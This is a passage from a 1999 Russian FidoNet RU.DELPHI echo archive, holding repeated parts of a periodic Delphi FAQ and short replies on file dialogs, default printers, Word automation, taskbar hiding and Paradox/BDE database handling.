W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 331 of 341 - 324 + 335 From : Alexey_Mahotkin 2:5020/433 07 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941937610 28528 127.0.0.1 (7 Nov 1999 01:20:10 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 7 Nov 1999 01:20:10 GMT делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Срд Hоя 3 22:58:10 MSK 1999 Сгенерировано [53]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://msdn.microsoft.com/ 5. http://www.sysinternals.com/ 6. http://www.iarchitect.com/ 7. http://www.vireo.com/ 8. http://www.entechtaiwan.com/tools.htm 9. http://www.bluewatersystems.com/ 10. http://www.rxlib.com/ 11. http://www.altavista.com/ 12. http://ftpsearch.lycos.com/ 13. http://www.dejanews.com/ 14. ftp://bbs.ogo.ru/ 15. http://www.rxlib.com/ 16. http://www.dataweb.net/~r.p.sterkenburg 17. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 18. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 19. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#62_4 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#65_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#160_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#278_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#344_4 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#535_4 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#661_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#707_4 27. http://members.xoom.com/PolarisSoft/ 28. http://www.sawatzki.de/ 29. http://www.itecuk.com/delmag/thunk95.htm 30. http://delphi.da.ru/ 31. http://www.imagelib.com/ 32. http://einstein.ae.eng.ua.edu/nishita/index.htm 33. http://www.exceedsoft.com/ 34. http://www.geocities.com/SiliconValley/1142/ 35. http://www.signsoft.com/opengl 36. http://www.opengl.org/ 37. http://reality.sgi.com/mjk 38. http://www.scitechsoft.com/ 39. http://www.chami.com/tips/delphi/103096D.html 40. http://www.pbear.com/ 41. http://www.tsinet.ru/~vg 42. http://www.cyclic.com/ 43. http://alexm.here.ru/ 44. http://www.dic.ru/users/rusov/ 45. http://www.numega.com/ 46. http://www.listsoft.ru/programs/pr1520.htm 47. http://www.blinkinc.com/ 48. http://kolos.uni.lodz.pl/warezak 49. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 50. http://www.icl.ndirect.co.uk/petite/ 51. http://www.iconbazaar.com/ 52. http://www.rtfm.be/fpiette 53. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 332 of 341 From : Vysotskiy Vadim 2:468/37.22 11 Nov 99 21:22:00 To : Denis Jakovlev Subj : OpenDialog, SaveDialog ──────────────────────────────────────────────────────────────────────────────── Привет Denis Procedure TfmResult.OpenClick(Sender: TObject); DJ> Var DJ> S: String; DJ> F: TextFile; begin OpenDialog1.Filter:='Текстовые файлы (*.txt;)|*.txt'; If OpenDialog1.Execute and FileExists (OpenDialog1.FileName) Then Memo1.Lines.LoadFromFile(OpenDialog1.FileName); DJ> AssignFile (F,'OpenDialog1.FileName'); DJ> Reset (F); DJ> While not EOF (F) do begin DJ> ReadLn (F,S); DJ> Memo1.Lines.Add(S); DJ> end; DJ> CloseFile (F); DJ> end; end; procedure TfmResult.SaveClick(Sender: TObject); DJ> Var DJ> S: String; DJ> F: TextFile; begin SaveDialog1.Filter:='Текстовые файлы (*.txt;)|*.txt'; If SaveDialog1.Execute then Memo1.Lines.SaveFromFile(SaveDialog1.FileName); DJ> and DJ> FileExists (SaveDialog1.FileName) DJ> Then begin DJ> AssignFile (F,'SaveDialog1.FileName'); DJ> ReWrite (F); DJ> Reset (F); DJ> ReadLn (F,S); DJ> WriteLn (F,S); DJ> Memo1.Lines.Add(S); DJ> end; DJ> CloseFile (F); end; end. Всего хорошего. Вадим. --- F.I.P.S./32 v1.0r W95/NT [M] * Origin: Если Вы проснулись на улице, значит Вы там заснули (2:468/37.22) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 333 of 341 From : Anatoly Podgoretsky 2:5020/400 12 Nov 99 22:56:00 To : All Subj : 'аименование принтера по дефаулту... ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: nps@vnet.ee .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <80hr8t$bus$6@ddt.demos.su> From: "Anatoly Podgoretsky" Akzhan Abdulin > 10 Nov 99 21:54, Lebedev Sergey написал All: LS> Kак проще получить наименование принтера в win98 по дефаулту... LS> Если можно пример ... AA> RTFM TPrinter properties: Printers[PrinterIndex]; Дополнение: PrinterIndex = -1 -> Для выбора принтера по умолчанию и плюс проверка на наличие хотя бы одного принтера. И конечно все это RTFM. if Printer.Printers.Count > 0 then begin Printer.PrinterIndex := -1; // выберет принтер по умолчанию и установит // его значение в PrinterIndex Result := Printer.Printers[Printer.PrinterIndex]; end; else Result := ''; -- С уважением Анатолий Подгорецкий http://nps.vnet.ee --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 334 of 341 - 330 From : Alexey_Mahotkin 2:5020/433 14 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 942542408 25772 127.0.0.1 (14 Nov 1999 01:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 14 Nov 1999 01:20:08 GMT Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [44]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [45]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [46]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [47]http://www.blinkinc.com, WWPack32 [48]http://kolos.uni.lodz.pl/warezak, NeoLite [49]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [50]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [51]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [52]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 335 of 341 - 331 From : Alexey_Mahotkin 2:5020/433 14 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 942542408 25775 127.0.0.1 (14 Nov 1999 01:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 14 Nov 1999 01:20:08 GMT _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Чтв Hоя 11 01:43:44 MSK 1999 Сгенерировано [53]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://msdn.microsoft.com/ 5. http://www.sysinternals.com/ 6. http://www.iarchitect.com/ 7. http://www.vireo.com/ 8. http://www.entechtaiwan.com/tools.htm 9. http://www.bluewatersystems.com/ 10. http://www.rxlib.com/ 11. http://www.altavista.com/ 12. http://ftpsearch.lycos.com/ 13. http://www.dejanews.com/ 14. ftp://bbs.ogo.ru/ 15. http://www.rxlib.com/ 16. http://www.dataweb.net/~r.p.sterkenburg 17. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 18. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 19. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#62_4 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#65_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#160_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#282_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#348_4 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#539_4 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#665_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#711_4 27. http://members.xoom.com/PolarisSoft/ 28. http://www.sawatzki.de/ 29. http://www.itecuk.com/delmag/thunk95.htm 30. http://delphi.da.ru/ 31. http://www.imagelib.com/ 32. http://einstein.ae.eng.ua.edu/nishita/index.htm 33. http://www.exceedsoft.com/ 34. http://www.geocities.com/SiliconValley/1142/ 35. http://www.signsoft.com/opengl 36. http://www.opengl.org/ 37. http://reality.sgi.com/mjk 38. http://www.scitechsoft.com/ 39. http://www.chami.com/tips/delphi/103096D.html 40. http://www.pbear.com/ 41. http://www.tsinet.ru/~vg 42. http://www.cyclic.com/ 43. http://alexm.here.ru/ 44. http://www.dic.ru/users/rusov/ 45. http://www.numega.com/ 46. http://www.listsoft.ru/programs/pr1520.htm 47. http://www.blinkinc.com/ 48. http://kolos.uni.lodz.pl/warezak 49. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 50. http://www.icl.ndirect.co.uk/petite/ 51. http://www.iconbazaar.com/ 52. http://www.rtfm.be/fpiette 53. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 336 of 341 - 326 From : Alexey_Mahotkin 2:5020/433 14 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 942542404 25760 127.0.0.1 (14 Nov 1999 01:20:04 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 14 Nov 1999 01:20:04 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.21 1999/11/10 22:43:27 alexm Exp $ (pearl trap) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. Сопутствующие проекты: ссылки на все известные человечеству документы, подобные этому, включая сам этот документ, находятся на [3]http://delphi.da.ru. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [4]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [5]http://www.sysinternals.com. Hа [6]http://www.iarchitect.com находится большой ресурс, посвященный вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая 